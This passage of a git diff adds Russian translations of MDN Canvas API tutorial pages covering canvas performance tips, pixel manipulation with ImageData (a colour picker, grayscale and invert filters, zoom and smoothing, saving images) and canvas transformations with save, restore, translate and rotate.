+<p>Например, допустим, у вас есть игра с пользовательским интерфейсом наверху, геймплеем в середине и статическим фоном внизу. В этом случае вы можете разбить свою игру на три слоя <code>&lt;canvas&gt;</code>. Пользовательский интерфейс будет меняться только при изменении пользователем, слой с игровым процессом будет меняться с каждым новым кадром, а фон останется в основном неизменным.</p>
+
+<pre class="brush: html">&lt;div id="stage"&gt;
+  &lt;canvas id="ui-layer" width="480" height="320"&gt;&lt;/canvas&gt;
+  &lt;canvas id="game-layer" width="480" height="320"&gt;&lt;/canvas&gt;
+  &lt;canvas id="background-layer" width="480" height="320"&gt;&lt;/canvas&gt;
+&lt;/div&gt;
+
+&lt;style&gt;
+  #stage {
+    width: 480px;
+    height: 320px;
+    position: relative;
+    border: 2px solid black;
+  }
+
+  canvas { position: absolute; }
+  #ui-layer { z-index: 3; }
+  #game-layer { z-index: 2; }
+  #background-layer { z-index: 1; }
+&lt;/style&gt;
+</pre>
+
+<h3 id="Используйте_простой_CSS_для_больших_фоновых_изображений">Используйте простой CSS для больших фоновых изображений</h3>
+
+<p>Если у вас есть статическое фоновое изображение, вы можете нарисовать его на простом элементе {{HTMLElement("div")}}, используя свойство CSS {{cssxref("background")}}, и расположить его под canvas. Это сведет на нет необходимость рендеринга фона на canvas на каждом тике.</p>
+
+<h3 id="Масштабирование_холста_с_использованием_CSS-преобразований">Масштабирование холста с использованием CSS-преобразований</h3>
+
+<p><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transforms">CSS-преобразования</a> быстрее, поскольку они используют графический процессор. В идеале, не стоит не масштабировать canvas, или можно использовать меньший canvas и увеличивать его при необходимости, но не уменьшать.</p>
+
+<pre class="brush: js">var scaleX = window.innerWidth / canvas.width;
+var scaleY = window.innerHeight / canvas.height;
+
+var scaleToFit = Math.min(scaleX, scaleY);
+var scaleToCover = Math.max(scaleX, scaleY);
+
+stage.style.transformOrigin = '0 0'; //scale from top left
+stage.style.transform = 'scale(' + scaleToFit + ')';
+</pre>
+
+<h3 id="Отключите_прозрачность">Отключите прозрачность</h3>
+
+<p>Если ваше приложение использует canvas и не нуждается в прозрачном фоне, установите для параметра <code>alpha</code>значение <code>false</code> при создании контекста рисования с помощью {{domxref("HTMLCanvasElement.getContext()")}}. Эта информация может использоваться браузером для оптимизации рендеринга.</p>
+
+<pre class="brush: js">var ctx = canvas.getContext('2d', { alpha: false });</pre>
+
+<h3 id="Другие_советы">Другие советы</h3>
+
+<ul>
+ <li>Объединяйте запросы к canvas. Например, рисуйте одну ломанную линию вместо нескольких отдельных линий.</li>
+ <li>Избегайте ненужных изменений состояния canvas.</li>
+ <li>Отображайте только изменения экрана, а не заново перерисовывайте.</li>
+ <li>По возможности избегайте свойства {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}}.</li>
+ <li>Избегайте <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_text">рендеринга текста</a>, когда это возможно.</li>
+ <li>Попробуйте разные способы очистки canvas (({{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}, или {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}}, или изменение размера canvas).</li>
+ <li>С анимациями используйте {{domxref("window.requestAnimationFrame()")}} вместо {{domxref("window.setInterval()")}}.</li>
+ <li>Будьте осторожны с тяжелыми физическими библиотеками.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://www.html5rocks.com/en/tutorials/canvas/performance/#toc-ref">Improving HTML5 Canvas Performance – HTML5 Rocks</a></li>
+ <li><a href="https://hacks.mozilla.org/2013/05/optimizing-your-javascript-game-for-firefox-os/">Optimizing your JavaScript game for Firefox OS – Mozilla Hacks</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html b/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html
new file mode 100644
index 0000000000..8b8653a9b3
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html
@@ -0,0 +1,267 @@
+---
+title: Пиксельная манипуляция с холстом
+slug: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas
+tags:
+  - Графика
+  - Промежуточный
+  - Руководство
+  - Холст
+translation_of: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Advanced_animations", "Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility")}}</div>
+
+<div class="summary">
+<p>До сих пор мы не смотрели на фактические пиксели нашего объекта canvas (далее "холст"). С объектом <code>ImageData</code> вы можете напрямую читать и писать массив данных для управления пиксельными данными. Мы также рассмотрим, как можно сгладить сглаживание изображения (сглаживание) и как сохранить изображения с вашего холста.</p>
+</div>
+
+<h2 id="Объект_ImageData">Объект <code>ImageData</code></h2>
+
+<p>Объект {{domxref ("ImageData")}} представляет базовые пиксельные данные области объекта холста. Он содержит следующие атрибуты только для чтения:</p>
+
+<dl>
+ <dt><code>width</code></dt>
+ <dd>Ширина изображения в пикселях.</dd>
+ <dt><code>height</code></dt>
+ <dd>Высота изображения в пикселях.</dd>
+ <dt><code>data</code></dt>
+ <dd>A {{jsxref ("Uint8ClampedArray")}} представляет собой одномерный массив, содержащий данные в порядке RGBA, с целыми значениями от <code>0</code> до <code>255</code> (в комплекте).</dd>
+</dl>
+
+<p>Свойство <code>data</code> возвращает {{jsxref ("Uint8ClampedArray")}}, к которому можно получить доступ, чтобы посмотреть на необработанные пиксельные данные; каждый пиксель представлен четырьмя однобайтовыми значениями (красный, зеленый, синий и альфа в этом порядке, то есть формат «RGBA»). Каждый компонент цвета представлен целым числом от 0 до 255. Каждому компоненту присваивается последовательный индекс внутри массива, причем красный компонент верхнего левого пикселя находится в индексе 0 внутри массива. Затем пиксели идут слева направо, затем вниз, по всему массиву.</p>
+
+<p>{{Jsxref ("Uint8ClampedArray")}} содержит высоту × ширину × 4 байта данных, значения индекса варьируются от 0 до (высота × ширина × 4) -1.</p>
+
+<p>Например, чтобы прочитать значение синего компонента из пикселя в столбце 200, строка 50 на изображении, вы должны сделать следующее:</p>
+
+<pre class="brush: js">blueComponent = imageData.data[((50 * (imageData.width * 4)) + (200 * 4)) + 2];</pre>
+
+<p>Вы можете получить доступ к размеру массива пикселей в байтах, прочитав атрибут <code>Uint8ClampedArray.length</code>:</p>
+
+<pre class="brush: js">var numBytes = imageData.data.length;
+</pre>
+
+<h2 id="Создание_объекта_ImageData">Создание объекта <code>ImageData</code></h2>
+
+<p>Чтобы создать новый пустой объект <code>ImageData</code> , вы должны использовать метод {{domxref ("CanvasRenderingContext2D.createImageData", "createImageData ()")}}. Существуют две версии метода <code>createImageData()</code> :</p>
+
+<pre class="brush: js">var myImageData = ctx.createImageData(width, height);</pre>
+
+<p>Это создает новый объект <code>ImageData</code> с указанными параметрами. Все пиксели заданы прозрачным черным.</p>
+
+<p>Вы также можете создать новый объект <code>ImageData</code> ImageData с теми же размерами, что и объект, заданный <code>anotherImageData</code> . Все пиксели нового объекта установлены на прозрачный черный. <strong>Это не копирует данные изображения!</strong></p>
+
+<pre class="brush: js">var myImageData = ctx.createImageData(anotherImageData);</pre>
+
+<h2 id="Получение_пиксельных_данных_для_контекста">Получение пиксельных данных для контекста</h2>
+
+<p>Чтобы получить объект <code>ImageData</code> , содержащий копию пиксельных данных для контекста холста, вы можете использовать метод <code>getImageData()</code> :</p>
+
+<pre class="brush: js">var myImageData = ctx.getImageData(left, top, width, height);</pre>
+
+<p>Этот метод возвращает объект <code>ImageData</code> , представляющий пиксельные данные для области холста, углы которого представлены точками (<code>left</code> , <code>top</code>), (<code>left+width</code> , <code>top</code>), (<code>left</code> , <code>top+height</code>) и (<code>left+width</code> , <code>top+height</code>). Координаты задаются в единицах пространства координат холста.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Любые пиксели за пределами холста возвращаются как прозрачный черный цвет в результирующий объект <code>ImageData</code> .</p>
+</div>
+
+<p>Этот метод также показан в статье <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Manipulating_video_using_canvas">Manipulating video using canvas</a>.</p>
+
+<h3 id="Выбор_цвета">Выбор цвета</h3>
+
+<p>В этом примере мы используем метод <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/getImageData">getImageData() </a> для отображения цвета под курсором мыши. Для этого нам нужна текущая позиция мыши с <code>layerX</code> и <code>layerY</code>, затем мы просматриваем пиксельные данные в этой позиции в массиве пикселей, который предоставляет нам <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/getImageData">getImageData() </a> . Наконец, мы используем данные массива для установки цвета фона и текста <code>&lt;div&gt;</code> для отображения цвета.</p>
+
+<div class="hidden">
+<pre class="brush: html;">&lt;canvas id="canvas" width="300" height="227" style="float:left"&gt;&lt;/canvas&gt;
+&lt;div id="color" style="width:200px;height:50px;float:left"&gt;&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: js;">var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+img.onload = function() {
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+};
+var color = document.getElementById('color');
+function pick(event) {
+  var x = event.layerX;
+  var y = event.layerY;
+  var pixel = ctx.getImageData(x, y, 1, 1);
+  var data = pixel.data;
+  var rgba = 'rgba(' + data[0] + ', ' + data[1] +
+             ', ' + data[2] + ', ' + (data[3] / 255) + ')';
+  color.style.background =  rgba;
+  color.textContent = rgba;
+}
+canvas.addEventListener('mousemove', pick);
+</pre>
+
+<p>{{ EmbedLiveSample('A_color_picker', 610, 240) }}</p>
+
+<h2 id="Отображение_пиксельных_данных_в_контекст">Отображение пиксельных данных в контекст</h2>
+
+<p>Вы можете использовать метод <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/putImageData">putImageData()</a> для рисования пиксельных данных в контексте:</p>
+
+<pre class="brush: js">ctx.putImageData(myImageData, dx, dy);
+</pre>
+
+<p>Параметры <code>dx</code>и <code>dy</code>указывают координаты устройства в контексте, в котором будет отображаться верхний левый угол пиксельных данных, которые вы хотите нарисовать.</p>
+
+<p>Например, чтобы нарисовать все изображение, представленное <code>myImageData</code>, в верхнем левом углу контекста, вы можете просто сделать следующее:</p>
+
+<pre class="brush: js">ctx.putImageData(myImageData, 0, 0);
+</pre>
+
+<h3 id="Оттенки_серого_цвета_и_инвертирование_цветов">Оттенки серого цвета и инвертирование цветов</h3>
+
+<p>В этом примере мы перебираем все пиксели для изменения их значений, а затем помещаем модифицированный массив пикселей обратно в canvas с помощью <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/putImageData">putImageData()</a>. Функция инвертирования просто вычитает каждый цвет из максимального значения 255. Функция оттенков серого просто использует среднее значение красного, зеленого и синего. Вы также можете использовать средневзвешенное значение, заданное формулой <code>x = 0.299r + 0.587g + 0.114b</code>, например. Для дополнительной информации см. <a href="http://en.wikipedia.org/wiki/Grayscale">Grayscale</a> в Википедии.</p>
+
+<div class="hidden">
+<pre class="brush: html;">&lt;canvas id="canvas" width="300" height="227"&gt;&lt;/canvas&gt;
+&lt;div&gt;
+  &lt;input id="grayscalebtn" value="Grayscale" type="button"&gt;
+  &lt;input id="invertbtn" value="Invert" type="button"&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: js">var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+img.onload = function() {
+  draw(this);
+};
+
+function draw(img) {
+  var canvas = document.getElementById('canvas');
+  var ctx = canvas.getContext('2d');
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+  var imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
+  var data = imageData.data;
+
+  var invert = function() {
+    for (var i = 0; i &lt; data.length; i += 4) {
+      data[i]     = 255 - data[i];     // red
+      data[i + 1] = 255 - data[i + 1]; // green
+      data[i + 2] = 255 - data[i + 2]; // blue
+    }
+    ctx.putImageData(imageData, 0, 0);
+  };
+
+  var grayscale = function() {
+    for (var i = 0; i &lt; data.length; i += 4) {
+      var avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
+      data[i]     = avg; // red
+      data[i + 1] = avg; // green
+      data[i + 2] = avg; // blue
+    }
+    ctx.putImageData(imageData, 0, 0);
+  };
+
+  var invertbtn = document.getElementById('invertbtn');
+  invertbtn.addEventListener('click', invert);
+  var grayscalebtn = document.getElementById('grayscalebtn');
+  grayscalebtn.addEventListener('click', grayscale);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Grayscaling_and_inverting_colors', 330, 270) }}</p>
+
+<h2 id="Масштабирование_и_сглаживание">Масштабирование и сглаживание</h2>
+
+<p>С помощью метода                                                             {{domxref ("CanvasRenderingContext2D.drawImage", "drawImage ()")}}, второго холста и свойства {{domxref ("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}} мы способны увеличить изображение и посмотреть его более детально.</p>
+
+<p>Мы получаем положение мыши и обрезаем изображение на 5 пикселей левее и выше и на 5 пикселей правее и ниже положения мыши. Затем мы копируем его на другой холст и изменяем размер изображения до размера, который мы хотим. При масштабировании мы изменяем холст с исходного размера 10×10 пикселей до 200×200.</p>
+
+<pre class="brush: js">zoomctx.drawImage(canvas,
+                  Math.abs(x - 5), Math.abs(y - 5),
+                  10, 10, 0, 0, 200, 200);</pre>
+
+<p>Поскольку по умолчанию включено сглаживание, мы можем захотеть отключить сглаживание, чтобы увидеть четкие пиксели. Вы можете переключить флажок, чтобы увидеть эффект свойства <code>imageSmoothingEnabled</code> (которому нужны префиксы для разных браузеров).</p>
+
+<h6 class="hidden" id="Zoom_example">Zoom example</h6>
+
+<div class="hidden">
+<pre class="brush: html;">&lt;canvas id="canvas" width="300" height="227"&gt;&lt;/canvas&gt;
+&lt;canvas id="zoom" width="300" height="227"&gt;&lt;/canvas&gt;
+&lt;div&gt;
+&lt;label for="smoothbtn"&gt;
+  &lt;input type="checkbox" name="smoothbtn" checked="checked" id="smoothbtn"&gt;
+  Enable image smoothing
+&lt;/label&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: js">var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+img.onload = function() {
+  draw(this);
+};
+
+function draw(img) {
+  var canvas = document.getElementById('canvas');
+  var ctx = canvas.getContext('2d');
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+  var zoomctx = document.getElementById('zoom').getContext('2d');
+
+  var smoothbtn = document.getElementById('smoothbtn');
+  var toggleSmoothing = function(event) {
+    zoomctx.imageSmoothingEnabled = this.checked;
+    zoomctx.mozImageSmoothingEnabled = this.checked;
+    zoomctx.webkitImageSmoothingEnabled = this.checked;
+    zoomctx.msImageSmoothingEnabled = this.checked;
+  };
+  smoothbtn.addEventListener('change', toggleSmoothing);
+
+  var zoom = function(event) {
+    var x = event.layerX;
+    var y = event.layerY;
+    zoomctx.drawImage(canvas,
+                      Math.abs(x - 5),
+                      Math.abs(y - 5),
+                      10, 10,
+                      0, 0,
+                      200, 200);
+  };
+
+  canvas.addEventListener('mousemove', zoom);
+}</pre>
+
+<p>{{ EmbedLiveSample('Zoom_example', 620, 490) }}</p>
+
+<h2 id="Сохранение_изображений">Сохранение изображений</h2>
+
+<p>{{Domxref ("HTMLCanvasElement")}} предоставляет метод <code>toDataURL()</code>, который полезен при сохранении изображений. Он возвращает <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/data_URIs">data URI</a>, содержащий представление изображения в формате, заданном параметром <code>type</code> (по умолчанию используется в <a class="external external-icon" href="https://en.wikipedia.org/wiki/Portable_Network_Graphics">PNG</a> ). Возвращаемое изображение имеет разрешение 96 точек на дюйм.</p>
+
+<dl>
+ <dt><strong>Примечание:</strong> </dt>
+ <dd>Имейте в виду, что если холст содержит пиксели, полученные из другого {{Glossary ("origin")}} без использования CORS, холст будет <strong>испорчен</strong>, и его содержимое больше не будет считываться и сохраняться. Смотрите {{SectionOnPage ("/en-US/docs/Web/HTML/CORS_enabled_image", "Безопасность и испорченные холсты")}}</dd>
+ <dt></dt>
+ <dt>{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/png')")}}</dt>
+ <dd>Настройки по умолчанию. Создает изображение в формате PNG.</dd>
+ <dt>{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/jpeg', quality)")}}</dt>
+ <dd>Создает изображение в формате JPG. Дополнительно вы можете задать параметр "качество" (quality) в диапазоне от 0 до 1, причем единица задает лучшее качество и 0 -  почти не распознаваемый, но небольшой по размеру файл.</dd>
+</dl>
+
+<p>После того как вы создали URI данные из своего холста, вы можете использовать его как источник любого {{HTMLElement ("image")}} или поместить его в гиперссылку с <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a#attr-download">download attribute</a>, чтобы сохранить его на диске, например.</p>
+
+<p>Вы также можете создать {{domxref ("Blob")}} из холста.</p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.toBlob", "canvas.toBlob(callback, type, encoderOptions)")}}</dt>
+ <dd>Создает объект <code>Blob</code>, представляющий изображение, содержащееся в холсте.</dd>
+</dl>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("ImageData")}}</li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Manipulating_video_using_canvas">Manipulating video using canvas</a></li>
+ <li><a href="https://codepo8.github.io/canvas-images-and-pixels/">Canvas, images and pixels – by Christian Heilmann</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Advanced_animations", "Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/transformations/index.html b/files/ru/web/api/canvas_api/tutorial/transformations/index.html
new file mode 100644
index 0000000000..0f871d6909
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/transformations/index.html
@@ -0,0 +1,275 @@
+---
+title: Transformations
+slug: Web/API/Canvas_API/Tutorial/Transformations
+translation_of: Web/API/Canvas_API/Tutorial/Transformations
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Using_images", "Web/API/Canvas_API/Tutorial/Compositing")}}</div>
+
+<div class="summary"><span class="notranslate">Ранее в этом уроке мы узнали о</span> <span class="notranslate" style="background-color: #e6ecf9;"> <a href="https://translate.googleusercontent.com/translate_c?act=url&amp;depth=1&amp;hl=ru&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com&amp;sl=en&amp;sp=nmt4&amp;tl=ru&amp;u=https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes&amp;usg=ALkJrhiuWce927wE2920fN95Jlcrf1HyUg">сетке холста</a></span> <span class="notranslate">и <strong>координатном пространстве</strong> .</span> <span class="notranslate"> До сих пор мы использовали только сетку по умолчанию и изменили размер всего холста для наших нужд.</span> При преобразованиях существуют более мощные способы изменения исходных координат в различные положение, поворот сетки и даже масштабирование.</div>
+
+<h2 id="Saving_and_restoring_state" name="Saving_and_restoring_state"><span class="notranslate" style="background-color: #e6ecf9;">Сохранение и восстановление состояния</span></h2>
+
+<p><span class="notranslate">Прежде чем перейти к методам преобразования, давайте рассмотрим два других метода, которые необходимы, когда вы начинаете создавать все более сложные рисунки.</span></p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.save", "save()")}}</dt>
+ <dd><span class="notranslate">Сохраняет все состояние холста.</span></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.restore", "restore()")}}</dt>
+ <dd><span class="notranslate">Восстанавливает последнее сохраненное состояние холста.</span></dd>
+</dl>
+
+<p>Состояние холста сохраняется в стеке. Каждый раз, когда вызывается метод <code>save()</code>, текущее состояние отрисовки записывается в стек. Состояние отрисовки содержит:</p>
+
+<ul>
+ <li>Трансформации, которые были применены (например, <code>translate</code>, <code>rotate</code> and <code>scale</code> – см. ниже).</li>
+ <li>Текущее значение следующих атрибутов: {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}, {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}}, {{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha")}}, {{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth")}}, {{domxref("CanvasRenderingContext2D.lineCap", "lineCap")}}, {{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin")}}, {{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit")}}, {{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY")}}, {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}}, {{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor")}}, {{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation")}}, {{domxref("CanvasRenderingContext2D.font", "font")}}, {{domxref("CanvasRenderingContext2D.textAlign", "textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline")}}, {{domxref("CanvasRenderingContext2D.direction", "direction")}}, {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}}.</li>
+ <li>Текущее значение границ вырезанного холста (<a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing#Clipping_paths">clipping path</a>), которые будут рассматриваться в следующем разделе.</li>
+</ul>
+
+<p>Вы можете вызывать метод <code>save()</code> столько раз, сколько захотите. В то же время, при вызове метода <code>restore()</code> последнее сохранённое состояние будет считано из стека, и все сохранённые настройки будут восстановлены.</p>
+
+<h3 id="A_save_and_restore_canvas_state_example" name="A_save_and_restore_canvas_state_example">Пример <font face="consolas, Liberation Mono, courier, monospace">сохранения и восстановления</font> состояния холста</h3>
+
+<p>Здесь показано, как функционирует сохранение в стек состояния отрисовки на примере последовательной отрисовки набора прямоугольников.</p>
+
+<pre class="brush: js; highlight:[5,10,15,18] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.fillRect(0, 0, 150, 150);   // рисуем прямоугольник с настройками по умолчанию
+  ctx.save();                     // сохраняем состояние
+
+  ctx.fillStyle = '#09F';         // вносим изменения в настройки
+  ctx.fillRect(15, 15, 120, 120); // рисуем прямоугольник с новыми настройками
+  ctx.save();                     // сохраняем состояние
+
+  ctx.fillStyle = '#FFF';         // вносим изменения в настройки
+  ctx.globalAlpha = 0.5;
+  ctx.fillRect(30, 30, 90, 90);   // рисуем прямоугольник с новыми настройками
+
+  ctx.restore();                  // возвращаемся к предыдущим настройкам
+  ctx.fillRect(45, 45, 60, 60);   // рисуем прямоугольник с восстановленными настройками
+
+  ctx.restore();                  // возвращаемся к начальным настройкам
+  ctx.fillRect(60, 60, 30, 30);   // рисуем прямоугольник с изначальными настройками
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>Сначала рисуется большой прямоугольник с настройками по умолчанию. Затем мы сохраняем состояние холста, после чего изменяем цвет заливки. Затем рисуем второй синий прямоугольник меньшего размера и опять сохраняем состояние. Снова изменяем какие-то настройки и рисуем третий полупрозрачный белый прямоугольник.</p>
+
+<p>До сих пор наши действия ничем не отличались от тех, что мы делали в предыдущем разделе. Однако, как только мы сделали первый вызов <code>restore(),</code> последнее сохранённое состояние отрисовки было восстановлено из стека, вернув все сохранённые настройки. Если бы мы не сохранили предыдущее состояние, используя <code>save()</code>, нам бы пришлось менять цвет заливки и настройки прозрачности вручную для возврата к предыдущему состоянию. Для каких-нибудь двух простых свойств это, может быть, сделать не так сложно. Но если таких своиств гораздо больше, это чревато очень быстрым разрастанием кода.</p>
+
+<p>Когда второй вызов <code>restore()</code> сделан, изначальное состояние (то самое, которое было сделано перед первым вызовом <code>save</code>) восстанавливается и последний нарисованный прямоугольник внось становится чёрным.</p>
+
+<p>{{EmbedLiveSample("A_save_and_restore_canvas_state_example", "180", "180", "https://mdn.mozillademos.org/files/249/Canvas_savestate.png")}}</p>
+
+<h2 id="Translating" name="Translating">Трансляция (смещение)</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/234/Canvas_grid_translate.png" style="float: right;">Первый метод для трасформирования холста <code>translate()</code>. Он используется для перемещения холста в любую точку нашей сетки.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.translate", "translate(x, y)")}}</dt>
+ <dd>Перемещение холста на сетке. <code>x</code> и <code>y</code> - смещение по горизонтали и вертикали соответственно.</dd>
+</dl>
+
+<p>Неплохая идея - сохранять <code>canvas state</code> перед использованием любых трансформаций. Обычно удобнее использовать метод <code>restore</code>, чем выполнять обратные преобразования, чтобы вернуться к начальному состоянию. <span class="tlid-translation translation" lang="ru"><span title="">Кроме того, если вы выполняете преобразования внутри цикла не используя </span></span><code>save</code><span class="tlid-translation translation" lang="ru"><span title=""> и </span></span><code>restore</code><span class="tlid-translation translation" lang="ru"><span title="">, вы рискуете потерять часть рисунка, потому что он был нарисован за пределами края холста.</span></span></p>
+
+<h3 id="A_translate_example" name="A_translate_example">Пример использования <code>translate</code></h3>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Этот пример демонстрирует некоторые преимущества</span></span> при использовании смещения холста. Без использования метода <code>translate()</code> все прямоугольники будут отрисованы в одинаковой позиции (0,0). Метод <code>translate()</code> дает возможность размещения прямоугольника в любой позиции без изменения параметров функции <code>fillRect()</code>. Это может дать некоторое упрощение для понимания и использования.</p>
+
+<p>Внутри функции <code>draw()</code> мы вызываем <code>fillRect()</code> девять раз, используя два цикла <code>for</code>. Каждый раз мы сохраняем состояние холста, смещаем его, рисуем прямоугольник, а затем восстанавливаем исходное состояние. Заметьте, что <code>fillRect()</code> всегда использует одни и те же параметры, а изменение позиции фигуры осуществляется с помощью <code>translate()</code>.</p>
+
+<pre class="brush: js; highlight:[7] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i = 0; i &lt; 3; i++) {
+    for (var j = 0; j &lt; 3; j++) {
+      ctx.save();
+      ctx.fillStyle = 'rgb(' + (51 * i) + ', ' + (255 - 51 * i) + ', 255)';
+      ctx.translate(10 + j * 50, 10 + i * 50);
+      ctx.fillRect(0, 0, 25, 25);
+      ctx.restore();
+    }
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_translate_example", "160", "160", "https://mdn.mozillademos.org/files/9857/translate.png")}}</p>
+
+<h2 id="Rotating" name="Rotating">Поворот</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/233/Canvas_grid_rotate.png" style="float: right;">Второй метод трансформации <code>rotate()</code>. Он используется для поворота нашего холста.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.rotate", "rotate(angle)")}}</dt>
+ <dd>Поворачивает наш холст по часовой стрелке вокруг начальной точки на угол <code>anglе</code> в радианах.</dd>
+</dl>
+
+<p>Центр поворота - всегда начало координат. Для изменения координат центра мы должны сместить холст, используя метод <code>translate()</code>.</p>
+
+<h3 id="A_rotate_example" name="A_rotate_example">Пример использования<code>rotate</code></h3>
+
+<p>В этом примере мы сначала используем <code>rotate()</code> для поворота прямоугольника относительно начала координат, а затем, используя <code>translate()</code> совместно с <code>rotate()</code> поворачиваем прямоугольник относительно его центра.</p>
+
+<div class="note">
+<p><strong>Памятка</strong>: Углы измеряются в радианах, а не в градусах. Для преобразования единиц используйте следующую формулу: <code>radians = (Math.PI/180)*degrees</code>.</p>
+</div>
+
+<pre class="brush: js; highlight:[9, 23] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // left rectangles, rotate from canvas origin
+  ctx.save();
+  // blue rect
+  ctx.fillStyle = '#0095DD';
+  ctx.fillRect(30, 30, 100, 100);
+  ctx.rotate((Math.PI / 180) * 25);
+  // grey rect
+  ctx.fillStyle = '#4D4E53';
+  ctx.fillRect(30, 30, 100, 100);
+  ctx.restore();
+
+  // right rectangles, rotate from rectangle center
+  // draw blue rect
+  ctx.fillStyle = '#0095DD';
+  ctx.fillRect(150, 30, 100, 100);
+
+  ctx.translate(200, 80); // translate to rectangle center
+                          // x = x + 0.5 * width
+                          // y = y + 0.5 * height
+  ctx.rotate((Math.PI / 180) * 25); // rotate
+  ctx.translate(-200, -80); // translate back
+
+  // draw grey rect
+  ctx.fillStyle = '#4D4E53';
+  ctx.fillRect(150, 30, 100, 100);
+}
+</pre>
+
+<p>Для поворота прямоугольника относительно его центра мы сначала смещаем начало координат, выполняем поворот, а затем выполняем обратное смещение к точке 0,0, и наконец рисуем прямоугольник.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="300" height="200"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_rotate_example", "310", "210", "https://mdn.mozillademos.org/files/9859/rotate.png")}}</p>
+
